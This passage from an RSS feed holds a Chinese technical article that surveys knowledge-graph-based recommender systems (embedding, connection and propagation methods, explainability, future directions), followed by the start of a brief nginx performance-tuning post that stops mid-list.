 &lt;p&gt;以IKG的构建为例，物品首先映射到外部 KG 以找到它们的关联实体，然后从 KG 中提取关联实体的多跳邻居，并形成推荐系统的子图。当然也可以不需要依赖外部KG，可以基于所提供的数据中的辅助信息来构建KG。  &lt;br /&gt;  &lt;br /&gt;可解释的推荐系统是近年来的另一个热门研究方向。一方面，在推荐结果呈现的实现如果可以向用户提供适当的推荐解释，则用户可以相对更好地接受推荐结果。另一方面，也可以更深入地了解推荐算法。与传统的推荐系统相比，基于知识图谱的推荐系统呈现了连接用户和物品的多种实体和关系，并且能够很好地展示推理过程。&lt;/p&gt;



 &lt;p&gt;基于知识图谱的推荐方法，按照如何应用知识图谱数据，可以分为三类，分别是基于嵌入的方法、基于连接的方法和基于传播的方法。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;01&lt;/strong&gt;  &lt;strong&gt;基于嵌入的方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于嵌入（Enbedding-based）的方法主要思想是使用KG中大量的事实知识来进一步地丰富用户和物品的多维度表示，其中主要包括两大基础模块，一个是图嵌入模块，用于学习KG中实体和关系的表示，也就是需要应用知识图嵌入（Knowledge Graph Embedding，KGE）算法将KG编码为低秩嵌入，KGE算法可以分为两类：平移距离模型，如TransE、TransH、TransR、TransD等，以及语义匹配模型，如 DistMult。  &lt;br /&gt;  &lt;br /&gt;另外一个是推荐模块，基于学习到的特征用于预测用户对物品的偏好。基于这两个模块在整个推荐框架中的关联方式的差异，基于嵌入的方法可以进一步细分为两阶段学习的方法、联合学习的方法和多任务学习的方法。该类方法面临的挑战包括如何使用合适的KGE方法以获得实体的嵌入表示以及如何将学习到的实体嵌入表示集成到推荐模块中。&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/f6719286-4fc4-41e7-a4bb-9d9b2da85a7d.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;图3 DKN框架&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;  &lt;strong&gt;（1）两阶段学习方法   &lt;br /&gt;   &lt;br /&gt;&lt;/strong&gt;两阶段学习方法是指分别对图嵌入模块和推荐模块进行训练。第一步，使用KGE算法学习实体和关系的嵌入表示，接着，将预训练好的图相关嵌入连同其它的用户特征和物品特征输入到推荐模型进行用户兴趣预测。图3是用于新闻推荐的DKN（Deep Knowledge-aware Network）两阶段学习框架图。在第一阶段，提取新闻标题中的实体并将其映射到 Satori KG以挖掘新闻之间的知识级关系。DKN 通过将用KCNN学习到的句子的文本嵌入表示和通过TransD将新闻内容中的实体的知识级嵌入二者结合来对新闻进行建模。为了捕捉用户对新闻的动态兴趣，通过引入注意力机制，聚合用户的历史点击新闻的嵌入来学习用户的表示。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;两阶段学习方法易于实现，其中 KG 嵌入通常被视为后续推荐模块的额外特征。另一个好处是可以在没有交互数据的情况下学习 KG 嵌入，因此，大规模交互数据集不会增加计算复杂度。此外，由于KG通常是稳定的，一旦学习好了嵌入表示，就没有必要频繁更新嵌入表示。但是，通过 KGE 模型优化的实体嵌入更适合于图内应用，例如 KG补全。由于 KGE 模块和推荐模块是松耦合的，因此学习到的嵌入也可能不适合后续的推荐任务。&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/63c75c22-fa89-406f-addd-9d1df350af98.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;图4 CKE推荐系统流程&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;  &lt;strong&gt;（2）联合学习法   &lt;br /&gt;&lt;/strong&gt;另一个趋势是以端到端（end-to-end）的训练方式联合学习（Joint Learning）图嵌入模块和推荐模块。这样，推荐模块可以指导图嵌入模块中的特征学习过程。CKE（Collaborative Knowledge Base Embedding）统一CF框架中的各种类型的辅助信息，包括物品的属性级特征、文本特征和视觉特征。属性级特征用TransR编码以从KG中学习结构知识，而文本特征和视觉特征用自动编码器进行提取。这三个特征学习模块的目标函数加上推荐模块共同学习模型参数。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;联合学习方法可以进行端到端的训练，并且可以使用 KG 结构对推荐系统进行正则化。然而，在实际应用过程中，需要对不同目标函数的组合进行微调。&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/bd9a851e-c904-48f0-b628-b44e16b254b5.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;图5  MKR框架及交叉压缩单元示例&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;  &lt;strong&gt;（3）多任务学习法   &lt;br /&gt;&lt;/strong&gt;最近的一个研究方向是采用多任务学习（Multi-Task Learning）的策略，在KG相关任务的指导下训练推荐任务。动机是用户-物品交互二分图中的物品及其在 KG 中的关联实体可能共享相似的结构。因此，物品和实体之间低级特征的转移有助于促进推荐系统的改进。MKR（Multi-task feature learning approach for Knowledge graph enhanced Recommendation）由一个推荐模块和一个KGE模块组成。这两个模块不是将 KG 嵌入输入到推荐模块中，而是独立的，并通过交叉压缩单元进行连接以共享知识。推荐模块被训练以估计用户对候选物品的偏好，而KGE模块被训练来估计给定头部实体和三元组中的尾部实体表示。具体来说，推荐模块基于MLP以获得最终用户表示。最终的物品表示由L层交叉压缩单元及其在KG中的相关实体来进行细化。使用非线性函数估计用户对候选物品的偏好程度。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;通过应用多任务学习策略，有助于防止推荐系统过拟合，提高模型的泛化能力。然而，与联合学习方法类似，它需要努力在一个框架下集成不同的任务。  &lt;br /&gt;综上，尽管两阶段学习方法易于实现，但学习到的实体嵌入可能不适合推荐任务，联合学习方法通过端到端训练学习优化的实体嵌入，多任务学习方法通过从KG相关任务中转移知识进一步提高模型的泛化能力。但是，它需要大量的实验来找到不同目标函数的最佳组合。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;02&lt;/strong&gt;  &lt;strong&gt;基于连接的方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于连接（Connection-based）的方法利用图中的连接模式来指导推荐。相关的大多数工作都使用UIKG来挖掘图中实体之间的关系。探索KG中的连接信息有两种主要方法。第一个方向是利用图中的元结构，包括元路径和元图，来计算实体之间的相似度。基于元结构的相似性可以作为用户和物品表示的约束，也可以用于预测用户对交互历史中相似用户或相似物品的兴趣偏好。第二种解决方案是将用户-物品对或物品-物品对之间的连接模式编码为向量，可以集成到推荐框架中。这种方法也叫基于路径嵌入的方法。这种方法的挑战包括：1）如何为不同的任务设计合适的元路径；2）如何对实体之间的连接模式进行建模。  &lt;br /&gt;  &lt;br /&gt;  &lt;strong&gt;（1）基于元结构的方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于元结构（Meta-structure based）的方法的一种实现是利用不同元路径中实体的连接相似性作为图谱正则化项来约束用户和物品的表示。其动机是基于元路径的实体相似度越高，则在潜在空间中越接近。  &lt;br /&gt;目标函数如式（1）所示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/adafc654-04f5-4d06-9545-19749e082ecc.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中LRec表示推荐系统的目标函数，常见的选择是矩阵分解。相似性约束LSim指导用户嵌入和物品嵌入的学习。为了度量图中实体之间的连接相似性，通常使用PathSim, 如式（2）所示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/9c802e8c-695c-4611-a461-deb4b403f8b3.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中Pm~n是实体m和n之间的一条路径。通常使用三种类型的实体相似性，具体如下：（a）用户-用户相似度，目标函数如式（3）所示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/382e3b37-57cd-46f9-9c36-5aab988a6505.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中||Ui-Uj||F表示矩阵 Frobenius 范数， ɵ=[ɵ1,ɵ2,.....ɵL]表示每个元路径的权重，U=[u1，u2，...，um]表示所有用户的潜在向量，S[1-(i,j)]表示用户i和j在元路径中的相似度得分。如果用户共享基于元路径的高相似性，则用户-用户相似性会迫使用户的嵌入在潜在空间中接近。&lt;/p&gt;



 &lt;p&gt;（b）物品-物品相似度，目标函数如式（4）所示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/d7b63be7-a3d5-4126-b234-b50710d060a6.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中 V=[v1,v2,...,vn]表示所有物品的潜在向量.与用户-用户相似度类似，如果物品的基于元路径的相似度很高，则物品的低秩表示应该是接近的。&lt;/p&gt;



 &lt;p&gt;（c）用户-物品相似度，目标函数如式（5）所示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/967e12c6-a499-4ed6-bed4-01f926c3f3b6.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;如果基于元路径的相似度很高，则用户-物品相似度项将迫使用户和物品的潜在向量彼此接近。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;除了以上三种相似度的方法以外，基于元结构的方法也可以利用实体相似度来预测用户对未评分物品的兴趣，这可以作是KG中的偏好融合。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;综上，上述方法首先从交互矩阵及其基于元结构的相互相似性中学习用户和物品的潜在向量，然后基于增强的表示进行预测。也可以直接使用相似用户评分的加权集合来预测对未评分项目的偏好。基于元结构的方法是可以解释的，因为这些手动设计的元结构通过匹配候选物品与交互物品或目标用户之间的元结构来为推荐系统提供更多参考信息。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;基于元结构的方法易于实现，大多数工作都是基于模型复杂度相对较低的MF技术。然而，元路径或元图的选择需要领域知识，并且这些元结构对于不同的数据集可能会有很大差异。此外，在某些特定场景下可能不适合应用基于元结构的方法。例如，在新闻推荐任务中，属于一个新闻的实体可能属于不同的域，这使得元路径设计变得困难。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;  &lt;strong&gt;（2）基于路径嵌入的方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于元结构的方法的一个问题是连接模式没有明确建模，这使得很难学习用户-物品对和连接模式之间的相互影响。但是，基于路径嵌入的方法可以显式地学习连接模式的嵌入。通过学习连接UIKG中的用户-物品对或IKG 中的物品-物品对的路径的显式嵌入，以便直接建模用户-物品或物品-物品关系。以UIKG中的关系建模为例，假设KG中有K条连接ui和Vj的路径，路径p的嵌入表示为hp，则可以通过式（6）获得ui和Vj之间交互的最终表示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/684caf7e-0939-43dc-97ca-9537a97d140c.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中g(∙)是从每个路径嵌入中汇总信息的函数，常见的选择是最大池化操作或加权求和操作。然后，ui和Vj的偏好可以通过式(7)建模：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/551a0ff2-171d-42ad-8e59-5c8249dd72e2.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中f(∙)是映射用户-物品对之间的交互表示以及用户-物品对嵌入到偏好分数的函数。&lt;/p&gt;



 &lt;p&gt;推荐结果可以通过检查每个元路径的权重来解释。较高的元路径权重意味着目标用户和候选物品之间的这种关系在做出决策时更重要。  &lt;br /&gt;  &lt;br /&gt;基于路径嵌入的方法将用户-物品对或物品-物品对的连接模式编码为潜在向量，从而可以考虑目标用户、候选物品和连接模式的相互影响.此外，大多数模型能够通过计算合适的路径并选择显著路径来自动挖掘连接模式，而无需预定义的元结构的帮助。因此，它很可能捕捉到富有表现力的连接模式。但是，如果图中的关系很复杂，则图中可能的路径数量可能会增长到很大。随意实际上，不可能利用大规模 KG 中每个实体对的所有路径，这可能会阻碍模型的性能。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;综上，基于连接的方法在很大程度上依赖于连接模式。但是元路径的表示能力是有限的，这阻碍了传统的基于元结构的方法的性能。基于路径嵌入的方法进一步克服了基于元结构的方法的另一个缺点，即需要领域知识和人工配置路径。这些方法枚举可能的路径并显式建模用户-物品对或物品-物品对之间的关系。然而，基于路径嵌入的方法在一定程度上牺牲了可扩展性，因为这些模型相对复杂，在枚举路径和学习表示时需要更多的计算。&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;03&lt;/strong&gt;  &lt;strong&gt;基于传播的方法&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于嵌入的方法利用知识图谱中的语义关系来丰富用户和物品的表示，但难以捕捉实体之间的高阶关系。基于连接的方法使用图中的连接信息来指导推荐，但是，通过将复杂的用户物品连接模式分解为单独的线性路径，不可避免地会丢失信息。为了充分利用 KG 中的信息，基于传播的方法集成实体和关系的表示以及高阶连接模式，以实现更个性化的推荐。基于传播的方法的主要想法是嵌入传播，其中常见的实现方式是基于 GNN 技术。这些方法通过聚合KG 中多跳邻居的嵌入表示来细化实体表示。然后，可以使用用户和潜在项目的丰富表示来预测用户的偏好。&lt;/p&gt;



 &lt;p&gt;根据在消息传播过程中细化的实体类型产的差异可以进一步的进行细分为三类。这种方法的挑战包括：&lt;/p&gt;



 &lt;ol&gt;
  &lt;li&gt;如何为不同的邻居分配适当的权重&lt;/li&gt;



  &lt;li&gt;如何在不同的关系边上传播消息 &lt;/li&gt;



  &lt;li&gt;如何提高模型的可扩展性   &lt;br /&gt;&lt;/li&gt;
&lt;/ol&gt;



 &lt;p&gt;  &lt;strong&gt;（1）用户嵌入表示的细化&lt;/strong&gt;  &lt;br /&gt;根据用户的交互历史细化用户嵌入表示。先是构建IKG使用多个关系将交互物品和候选物品连接起来。则用户可以表示为他们交互物品及其多跳邻居的组合。具体来说，交互历史中的物品被选为传播过程的种子。然后，沿图中的链接提取多跳三元组集合S[k-ui](k=1,2,...，H),其中S[1-ui]是三元组集(eh,r,et)，头部实体是用户ui的交互过的物品列表。学习用户表示ui的过程可以表述为如下两步：&lt;/p&gt;



 &lt;p&gt;（a）通过聚合三元组集合S[k-ui](k=1,2,...，H)的每一层中的实体来计算用户的嵌入表示o[k-u]。&lt;/p&gt;



 &lt;p&gt;（b）合并o[k-u](k=1,2,...，H)，得到最终的用户嵌入表示ou。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;由于传播过程是从用户交互过的物品开始，到远邻结束，这个过程可以看作是在IKG中逐层向外传播用户的偏好。因此，这些方法可以解释为沿着 KG 中的路径从历史兴趣中传播用户的偏好。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;在这些方法中，边权重在IKG 中是明确的。因此，可以选择连接候选物品和交互项目的显著路径，并作为推荐结果的解释。尽管这些工作同时利用了实体嵌入和高阶连接信息，但只有用户嵌入表示在传播过程中得到更新。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;  &lt;strong&gt;（2）物品表示的细化   &lt;br /&gt;&lt;/strong&gt;上面介绍了通过在图中向外聚合实体来优化用户嵌入表示。另一种方式是通过聚合项目Vj的多跳邻居N[k-u](k=1,2,...，H)在IKG中向内的嵌入表示来学习候选物品Vj的高阶表示。在向内传播过程中，采用图注意力机制，其中不同邻居的权重是由用户和关系来确定的。主要是考虑到用户对不同的关系是有不同的偏好的，从而可以确定KG的信息流。&lt;/p&gt;



 &lt;p&gt;每一轮传播过程表示为如下两步:&lt;/p&gt;



 &lt;p&gt;（a）通过式（8）聚合实体ei的近邻：  &lt;img src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/869272fa-1fae-4ce2-9174-c38b1138187a.jpg"&gt;&lt;/img&gt;  &lt;br /&gt;（b）使用h—1阶邻居嵌入和自嵌入更新实体的h阶表示，如式（9）所示：&lt;/p&gt;



 &lt;img alt="" src="https://yixiaoer-img.oss-cn-shanghai.aliyuncs.com/20221115/f35d8e8b-2b49-48a4-81da-28507bf808b3.jpg"&gt;&lt;/img&gt;



 &lt;p&gt;其中e[0-i]代表实体的初始表示，e[h-i]代表实体的h阶表示，它是实体初始表示和来自h跳邻居的表示的混合。聚合函数将N个邻居映射到向量∈Rd，更新函数g(∙)是一个非线性函数：Rd ⨉ Rd → Rd。通过迭代地重复这个过程H次，候选物品的表示则包含了来自H跳邻居的信息。  &lt;br /&gt;  &lt;br /&gt;综上，通过IKG中的向内传播来细化物品的嵌入表示。然而，类似于在 KG 中向外聚合的用户细化，只有一种类型的实体被细化。  &lt;br /&gt;  &lt;br /&gt;  &lt;strong&gt;（3）用户和物品表示的细化   &lt;br /&gt;&lt;/strong&gt;在UIKG中的传播过程中，用户、物品及其关联实体都连接在一个图中，用户-物品对之间的交互作为一种关系。用户嵌入和物品嵌入可以在传播过程中使用其对应的邻居进行细化，如式 (8) 和 (9) 所示。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;与IKG中的传播类似，UIKG中边的权重也是由用户确定的。因此，这些模型可以通过检查连接目标用户和候选物品的显著路径来为推荐结果提供解释。由于用户被合并为一种类型的节点，因此解释更加直观，因为每个交互物品的贡献都是可用的。通过将用户纳入KG，可以更大程度地探索高阶连接模式。缺点是图中的关系越多，会带来不相关的实体，可能会误导用户在聚合过程中的偏好。&lt;/p&gt;



 &lt;p&gt;  &lt;br /&gt;综上，基于传播的方法通常计算成本高。随着图变大，模型变得难以收敛。为了提高效率，可以使用更快的图卷积运算，并且通常在每一层中应用邻域采样。但是，随机抽样不可避免地会导致信息丢失，无法充分挖掘图中的知识。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;04&lt;/strong&gt;  &lt;strong&gt;基于KG的推荐方法总结&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;通过上述基于嵌入方法、基于连接方法和基于传播方法的介绍，可知基于嵌入的方法是最灵活的方法。一方面，使用KGE模块对KG进行编码相对容易，并且学习到的嵌入可以自然地融入到用户表示或项目表示中。而在基于连接的方法中，在图中定义元路径或元图可能很繁琐。对于基于传播的方法，需要仔细设计聚合和更新部分。另一方面，基于嵌入的方法适用于大多数应用场景，因为外部知识通常在不同的任务中可用。相反，在基于元结构的方法中，元路径对于不同的应用场景通常是多种多样的，并且不能泛化到新的数据集。此外，对于特定场景，如新闻推荐，很难定义元路径并应用基于元结构的方法。同时，基于路径嵌入的方法和基于传播的方法都不适用于具有大规模数据集的推荐场景，因为在枚举路径和邻居时计算复杂度可能会变得很大。此外，路径的质量和数量对于基于连接的方法至关重要，因此，稀疏数据集可能无法提供足够的路径来挖掘此类方法的关系和模型兴趣。然而，基于嵌入的方法和基于连接的方法都未能充分探索KG中的信息。近年来，随着GNN技术的发展，基于传播的方法已成为一种新的研究趋势。此外，基于连接的方法和基于传播的方法都可以用KG中的路径来解释，而基于嵌入的方法解释起来不太直观。  &lt;br /&gt;&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;基于KG推荐的可解释性&lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;KG中包含有大量的辅助信息可以用于推荐结果的解释，主要有以下几种方法：  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;01&lt;/strong&gt;  &lt;strong&gt;关系嵌入的注意机制&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;这种方法主要应用于基于嵌入的方法。注意力机制应用于KG中实体之间关系的嵌入。从不同关系的注意力权重，可以得到每类物品属性对目标用户的意义。因此，这种技术可以为推荐提供偏好级别的解释。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;02&lt;/strong&gt;  &lt;strong&gt;定义元路径或者元图&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;所选物品与目标用户或交互物品之间的关系可以分解为若干元路径或元图的组合。通过将元路径或元图转换为可理解的规则，系统可以提供解释。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;03&lt;/strong&gt;  &lt;strong&gt;路径嵌入的注意机制&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;对于路径嵌入方法，连接目标用户和候选物品的特定路径的权重可通过注意力机制获得。每条路径的权重可以代表每条路径对用户的相对重要性。因此，可以根据图中的显著路径来提供解释。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;04&lt;/strong&gt;  &lt;strong&gt;UIKG中的强化学习&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;通过使用强化学习技术在UIKG中训练代理，可以挖掘连接用户物品对的实际路径。它可以直接显示KG中的推理过程，而不是为已经选择的推荐结果寻找事后解释。因此，推理过程对于目标用户来说是精确且值得信赖的。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;05&lt;/strong&gt;  &lt;strong&gt;提取边缘权重&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;基于传播的方法需要在聚合过程中为每种类型的邻居分配用户特定的权重。边权重控制图中实体之间的信息流，可以反映KG中每种关系的重要性。此外，KG中实体之间的边权重也可以从注意力权重或学习关系矩阵中获得。因此，可以通过找到连接候选物品和目标用户的显著路径或多跳邻居中的交互物品来生成解释。  &lt;br /&gt;&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;未来展望 &lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;通过前面的介绍可以知道，基于KG的推荐系统在推荐精准度和推荐结果可解释性方面具有诸多优势。在学术界和工业界也已经提出了很好的模型以充分利用KG中的辅助信息进行个性化精准推荐。但是在一些方向上依然还有很多工作值得深入研究，主要体现在：&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;01 &lt;/strong&gt;  &lt;strong&gt;动态推荐&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;尽管具有GNN或GCN架构的基于KG的推荐系统取得了良好的性能，但训练过程非常耗时。因此这样的模型可以被视为静态偏好推荐。然而，在某些场景下，例如在线购物、新闻推荐等，用户的兴趣会很快受到社交事件等的影响。在这种情况下，使用静态偏好建模的推荐可能不足以理解实时兴趣。为了捕捉动态偏好，利用动态图网络可能是一种解决方案。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;02 &lt;/strong&gt;  &lt;strong&gt;跨域推荐&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;在跨领域推荐的也有一些研究进展，主要是交互数据在各个领域是不平衡的。例如，在亚马逊平台上，图书子集大于其他域。通过迁移学习技术，可以共享来自具有相对丰富数据的源域的交互数据，以便在目标域中进行更好的推荐。  &lt;br /&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;strong&gt;03 &lt;/strong&gt;  &lt;strong&gt;知识增强语言表示&lt;/strong&gt;&lt;/p&gt;



 &lt;p&gt;为了提高各种 NLP 任务的性能，有一种趋势是将外部知识集成到语言表示模型中，使知识表示和文本表示可以相互提炼。将知识增强文本表示策略应用于基于文本的推荐任务中，可以更好地进行表示学习，以提供更准确的推荐。  &lt;br /&gt;  &lt;br /&gt;   &lt;em&gt;参考文献   &lt;br /&gt;&lt;/em&gt;  &lt;em&gt;[1] Bollacker K, Evans C, Paritosh P, et al. Freebase: a collaboratively created graph database for structuring human knowledge[C]//Proceedings of the 2008 ACM SIGMOD international conference on Management of data. 2008: 1247-1250.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[2] Lehmann J, Isele R, Jakob M, et al. Dbpedia–a large-scale, multilingual knowledge base extracted from wikipedia[J]. Semantic web, 2015, 6(2): 167-195.&lt;/em&gt;  &lt;em&gt;[3] Suchanek F M, Kasneci G, Weikum G. Yago: a core of semantic knowledge[C]//Proceedings of the 16th international conference on World Wide Web. 2007: 697-706.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[4] Bordes A, Usunier N, Garcia-Duran A, et al. Translating embeddings for modeling multi-relational data[J]. Advances in neural information processing systems, 2013, 26.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[5] Wang Z, Zhang J, Feng J, et al. Knowledge graph embedding by translating on hyperplanes[C]//Proceedings of the AAAI conference on artificial intelligence. 2014, 28(1).&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[6] Lin Y, Liu Z, Sun M, et al. Learning entity and relation embeddings for knowledge graph completion[C]//Twenty-ninth AAAI conference on artificial intelligence. 2015.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[7] Ji G, He S, Xu L, et al. Knowledge graph embedding via dynamic mapping matrix[C]//Proceedings of the 53rd annual meeting of the association for computational linguistics and the 7th international joint conference on natural language processing (volume 1: Long papers). 2015: 687-696.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[8] Yang B, Yih W, He X, et al. Embedding entities and relations for learning and inference in knowledge bases[J]. arXiv preprint arXiv:1412.6575, 2014.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[9] Zou X. A survey on application of knowledge graph[C]//Journal of Physics: Conference Series. IOP Publishing, 2020, 1487(1): 012016.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[10] Q. Guo et al., &amp;quot;A Survey on Knowledge Graph-Based Recommender Systems,&amp;quot; in IEEE Transactions on Knowledge and Data Engineering, vol. 34, no. 8, pp. 3549-3568, 1 Aug. 2022, doi: 10.1109/TKDE.2020.3028705.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[11] Chicaiza J, Valdiviezo-Diaz P. A comprehensive survey of knowledge graph-based recommender systems: Technologies, development, and contributions[J]. Information, 2021, 12(6): 232.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[12] Choudhary S, Luthra T, Mittal A, et al. A survey of knowledge graph embedding and their applications[J]. arXiv preprint arXiv:2107.07842, 2021.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[13] Gao Y, Li Y F, Lin Y, et al. Deep learning on knowledge graph for recommender system: A survey[J]. arXiv preprint arXiv:2004.00387, 2020.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[14] Wang H, Zhang F, Xie X, et al. DKN: Deep knowledge-aware network for news recommendation[C]//Proceedings of the 2018 world wide web conference. 2018: 1835-1844.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[15] Zhang F, Yuan N J, Lian D, et al. Collaborative knowledge base embedding for recommender systems[C]//Proceedings of the 22nd ACM SIGKDD international conference on knowledge discovery and data mining. 2016: 353-362.&lt;/em&gt;&lt;/p&gt;



 &lt;p&gt;  &lt;em&gt;[16] Wang H, Zhang F, Zhao M, et al. Multi-task feature learning for knowledge graph enhanced recommendation[C]//The world wide web conference. 2019: 2000-2010.   &lt;br /&gt;&lt;/em&gt;&lt;/p&gt;



 &lt;h1&gt;  &lt;strong&gt;作者简介&lt;/strong&gt;&lt;/h1&gt;



 &lt;p&gt;于敬，达观数据联合创始人，搜索推荐图谱产品团队的总负责人。同济大学计算机硕士，上海市青年科技启明星、上海市五一劳动奖章、上海市职工优秀创新成果奖、ACM CIKM算法竞赛国际冠军等奖项荣誉获得者。国际计算机学会（ACM）会员、中国计算机学会（CCF）高级会员、上海计算机学会（SCS）会员。曾先后在盛大创新院、盛大文学和腾讯文学从事技术研发工作，在智能推荐、搜索引擎、机器学习、大数据技术等领域有丰富的研究和工程经验，拥有十余项授权专利。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>人工智能 推荐系统 深度学习 自然语言处理 知识图谱</category>
      <guid isPermaLink="true">https://itindex.net/detail/62491-%E7%9F%A5%E8%AF%86-%E5%A2%9E%E5%BC%BA-%E6%99%BA%E8%83%BD</guid>
      <pubDate>Thu, 17 Nov 2022 15:35:47 CST</pubDate>
    </item>
    <item>
      <title>nginx性能调优要点</title>
      <link>https://itindex.net/detail/62457-nginx-%E6%80%A7%E8%83%BD%E8%B0%83%E4%BC%98</link>
      <description>&lt;h2&gt;1、提高worker连接限制&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;events {
    worker_connections 100000;
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;
  &lt;img alt="nginx&amp;#24615;&amp;#33021;&amp;#35843;&amp;#20248;&amp;#35201;&amp;#28857;" src="https://vqiu.cn/content/images/2022/10/761665904434_.pic.jpg"&gt;&lt;/img&gt;  &lt;p&gt;提示：缺省为1024&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;2、优化worker数量&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;worker_processes auto;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;3、配置UpStream连接复用&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;upstream demo1 {
    server 1.1.1.1:80;
    keepalive 128;
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;4、配置CPU亲和性与进程优化级&lt;/h2&gt;
 &lt;p&gt;以双核为例&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;worker_processes 2;
worker_cpu_affinity 0101 1010;
worker_priority -20;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;5、配置日志缓存&lt;/h2&gt;
 &lt;pre&gt;  &lt;code&gt;access_log   /var/log/nginx/access.log   main buffer=1m;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h2&gt;6、配置缓存&lt;/h2&gt;
